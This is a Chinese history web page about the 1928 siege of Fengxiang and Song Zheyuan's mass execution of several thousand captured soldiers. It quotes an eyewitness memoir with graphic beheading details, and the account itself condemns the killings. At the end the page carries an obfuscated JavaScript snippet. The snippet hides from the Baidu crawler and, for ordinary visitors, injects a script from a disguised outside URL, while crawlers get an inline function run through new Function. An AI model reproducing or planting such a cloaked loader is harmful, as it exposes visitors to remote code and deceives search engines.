当前位置:首页 > 历史 > 战史风云 > 正文

军阀混战中的凤翔大屠杀 宋哲元部屠杀大批俘虏

2017-04-28 22:21:11  来源:360常识网   热度:
导语:民国16年(1927),冯玉祥部宋哲元任陕西省主席后,欲继续以武力统一陕境,在攻克东府大荔后,于1928年春亲率所部又围攻西府重镇凤翔城。至9

民国16年(1927),冯玉祥部宋哲元任陕西省主席后,欲继续以武力统一陕境,在攻克东府大荔后,于1928年春亲率所部又围攻西府重镇凤翔城。至9月上旬城破后,曾下令将俘虏的党玉琨所部官兵全部杀尽。时人闻之,无不毛骨惊然,当时即受到了省内外舆论的责难。

这场骇人听闻的集体大屠杀,究竟杀了多少人?至今仍说法不一。1992年8月出版的新编《凤翔县志》,仅在《大事记》中记述“城破,全歼党毓琨(--作玉琨)部。”在《军事篇》中记述说:“攻城军”按部署先绕城墙实行大圈包围,再分途逐街巷捕杀败兵,先后共杀1600多人,党毓琨死于乱军中。”对此次大屠杀未能详载,殊觉遗憾。1992年12月新出版的《陕西民国战争史》中,对此事件是这样记述的;“1928年春,冯军宋哲元、张维玺两部,打开凤翔城,消灭了原陕军卫定一部的党玉琨混成旅,杀党玉琨、雷赤诚、曹耀南、杨云栋等多人,又将已缴械的官兵300余人,驱至纸坊村风女台畔,用机枪扫射,一律掩埋(内有未死的)。”文中虽已涉及大屠杀,但时间、地点以及屠杀的人数与史实有很大出入。倒是张宣武的回忆文章《宋哲元杀戮陕军俘虏五千人目击记》的记述较为详细。张当时曾先后任冯玉祥部十三军直属坑道营、手枪营代理营长,并且在这场大屠杀中“负责指挥行刑”。因此,他的“目击记”当属信史。

一、党玉琨作恶多端

1926年冬,冯玉祥率国民军解西安之围,不久守城陕军接受冯的改编,相继随冯出关东 征,陕西军政大权遂由冯部宋哲元主持。“徐州会议”后,冯玉祥追随蒋介石,并进行“清党”。为反对地主、军阀的反动统治,1928年5月,中共陕西省委发动了著名的“渭华起义”、其时未哲元曾派三个师的兵力,向渭南起义军进攻,致使起义失败。宋不仅镇压各地的革命斗争,又鉴于留在省内的部分陕军拒不接受改编,便多次亲率所部往各地征剿。因此,从1927至1928两年中,陕西境内三原、泾阳、高陵、白水、韩城、蒲城、大荔等地曾先后发生过十多次攻守城池之战。其中,攻守战最为惨烈,死伤最多当属凤翔战役。凤翔守军党玉琨,绰号党拐子,原为陕军郭坚旧部。1918年7月,郭任陕西靖国军第一路司令时,党玉琨任第八支队司令。曾随郭转战各地,参加过“反段倒陈”诸战役。1921年郭坚在西安被冯玉祥诱杀,郭部下李夺、党玉琨等拒不接受直系冯玉祥改编。郭死后其旧部大多分化,另找出路,一部分则由党率领驻在凤翔,后编为陕军卫定一部混成旅,由党玉琨任旅长,兵力约7000人左右。

郭坚部军纪本来就不太好,但因系陕西靖国军,一直高举反对北洋政府的旗帜,转战各地,要自筹军晌,尚情有可原。而党玉琨自任旅长后,一直盘踞凤翔,俨然自成独立王国,其部队已发生了质的变化。纪律更加废弛,苛索强搜,杀人越货,横行一方,民无宁日。加上党玉琨本人鸦片烟瘾特大,烟酒嫖赌,恶习俱全,生活特别堕落。他的小老婆,外号“小白鞋”,竟任党的卫队营营长,招摇过市,作威作福。党玉琨还先后派其部下,大肆盗掘西府一带古墓葬,窃掠了大量珍贵文物,据为已有,供其挥霍。因此,当地百姓无不恨之入骨。

二、凤翔城攻守惨烈

凤翔古称雍州,是一座历史名城。春秋时秦都于此,自汉代以后是“三辅”之一的右扶风地。城内地势高于城外,城墙既高且厚,异常坚固,城壕深宽各在三丈开外,且城北有碗日般粗的一股泉水,长年不断地注入城壕中,地势险要,易守难攻。因此唐宋至清代,均为州、郡、府、路之治所,向为关中西府重镇。

党玉琨盘踞凤翔,苦心经营多年,且当时城内囤粮可供军民食用三年,武器弹药也十分充足,自以为凭险据守,万无一失。当宋哲元亲任总指挥,于1928年初,率三个师、一个旅 ,兵力达三万多人围攻凤翔城时,党部守军顽强对抗,宋部节节失利,且伤亡官兵四、五千人。自春至夏围攻半年之久,始终未能打开城池。

宋哲元经请示冯玉祥同意后,只得调来张维玺的十三军回陕增援。宋、张见爬城硬攻牺牲惨重,且久攻不克,甚为着急,便改用掘坑道轰倒城墙的战术来攻城。坑道是从县城东门外“东湖”西北角喜雨亭附近一家民宅开始掘进的,距城墙约200米。先从地面向下挖约四丈多深,再向城墙方向掘进。坑道顶部和两壁均用坑木支撑,以防塌陷,有渗水或稀泥处,则用棉花、被盖等物铺垫。约半个月时间,坑道终于挖到城下,并在那里挖就一座约一间房子大小的放炸药地下室,然后堆置七棺木炸药,共约4000公斤,并接通了电线。一切准备就绪,宋哲元亲自指挥,并规定在坑道炸药爆发的同时,1500门野炮、山炮、迫击炮,每门须向城内发射100发炮弹。500挺轻重机枪,每挺对准城墙垛口要发射500至1000发子弹。

农历七月二十二日(公历9月5日)上午10时,总攻击开始,宋哲元指挥工兵按下电钮,只听雷鸣般地轰隆一声,城墙摇晃摆动了两三下,然后像火山爆发似地浓烟直冲云霄,城墙上便出现了约一、二十丈宽的大豁。此时炮弹声、枪声、冲锋号声和杀喊声铺天盖地,震耳 欲聋。只见攻城部队从豁口蜂拥而入,经过激烈巷战,凤翔城终被冯军攻占。

此役党玉琨部死伤官兵约两千左右,其余5000多官兵全被生擒。党玉琨在乱军中被击毙,党的小老婆“小白鞋”连同不满周岁的婴儿也被活捉。城内无辜居民葬身炮火之中的约在 万人以上,凤翔城内死尸遍地,一片焦土。军阀混战给凤翔老百姓带来了空前的灾难。攻克凤翔后,冯部宋哲元还缴获了党玉琨盗掘的西府珍贵文物近百口大箱,其中有周代大铜鼎、秦穆公时的车、盖、碗、盘、金马驹、如意石等,后由专人押运西安。据说,这批 珍贵文物,除少数为部分将领据为己有外,后来大部分换了武器弹药。

三、宋哲元屠杀俘虏

冯军攻克凤翔后的第二天,宋哲元找张维玺商议,要把俘获的党部5000多宫兵全部杀掉。张起初并不同意,认为这样未免太残忍和不人道,但在宋的坚持下,为震慑各地陕军,张亦放弃了自己的意见。于是便开始了一场骇人听闻的凤翔大屠杀。

大屠杀的刑场,设在凤翔城东八里纸坊镇东头关帝庙前七、八十米处的空场,空场南边有一眼约几十丈深的大枯井,宋哲元觉得这是坑杀俘虏的一个理想场所。时冯部十三军手枪营,即大刀队驻在关帝庙西侧一民房大院里,在那里看押着党部500名俘虏官兵。宋哲元宣 布由手枪营执行杀人任务,并亲自参加监斩。

农历七月二十五日上午8时,关帝庙前警戒森严,如临大敌。宋哲元等将领坐在庙门前,宋亲自下令开刀。每个俘虏由两名士兵架着胳膊飞跑到枯并边,喝令跪下后,由预先排列好的50名手执大刀的刽子手轮流行刑,手起刀落,人头立即滚入井中,接着将尸体踢入井内。杀完一个,紧接着又架上来一个,照样依次行刑。执刀的刽子手每杀上十个八个,就已满身溅血,刀钝臂酸,手也软了,遂由后面的刽子手依次接替。“有的俘虏被架到井旁喝令跪下时,为了避免挨刀断头之苦,连跪也不跪就活生生地扑进井去;有的俘虏被架到井边时,早已神魂离窍像泥块一般,使刽子手无法下手,也就只好一脚,不死不活地把俘虏踢入井中;有的俘虏跪下之后,脖子挺得较硬,只消一刀即可人头落地,立时毙命;而有的俘虏由于吓得魂不附体,脖子挺不起来,一刀不能断气,以致连砍数刀,因疼嚎叫,那种怪声使人惨不忍闻;而有些刽子手则是初次杀人,当手举刀落时,手腕忽而软下来,只能砍进三两分深,这就使被杀的人,遭到了最大的痛苦,当然更会哀嚎乱叫起来”(见张宣武《宋哲元杀戮陕军俘虏五千人目击记》)。

在大屠杀进行中,宋哲元坐在关帝庙前,边喝茶,边谈笑,若无其事。宋还召集各部营以上军官,到现场观看行刑,且让数千群众站在警戒线外观看。500名俘虏大约杀到多一半时,有一年青俘虏被架至井边正要行刑,忽然从人丛中跑出一位农民老汉,抱住那位俘虏大声哭喊说;“我的儿子是'党拐子'拉去当兵的,你们要杀我儿,真是天大的冤枉。如果一定要杀,就请把我杀掉。”经苦苦哀求,坐在宋哲元旁边的张维玺抢先说“请总指挥饶他一条性命吧”。这个青年是此次行刑唯一死里逃生的人。

当500名俘虏杀完后,宋哲元立即集合在场的营以上军官下命令说“各师、旅、团所拘押的俘虏,限令在今天夜里全部杀掉,一个也不许留,一个也不许放。”于是另外4500名俘虏中,就有3000多名都在当天夜里惨遭杀戮。唯有张维玺十三军第十七师赵凤林师长,认为这种作法太惨无人道。他不敢公然抗拒宋的命令,只好暗示所属旅、团长严守秘密,趁夜深人静,悄悄放走一千数百名俘虏,使他们得以虎口余生。

盘踞凤翔的党玉琨,称霸一方,作恶多端,他和其部下头目被杀,是罪有应得,死有余辜。然而凤翔大屠杀,公然违反古今中外共同遵守的“优遇已无战斗力俘虏”的人道主义原则,杀人过滥,理应受到历史的谴责。这场战火,使千古名城遭到严重破坏,又死伤了许许多多无辜老百姓,给人民群众带来了无比深重的灾难。说明违背历史规律的军阀混战,不论谁胜谁败,都不是正义的。和历史上所有腐朽没落的势力一样,只不过是黎明前的垂死挣扎而已。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}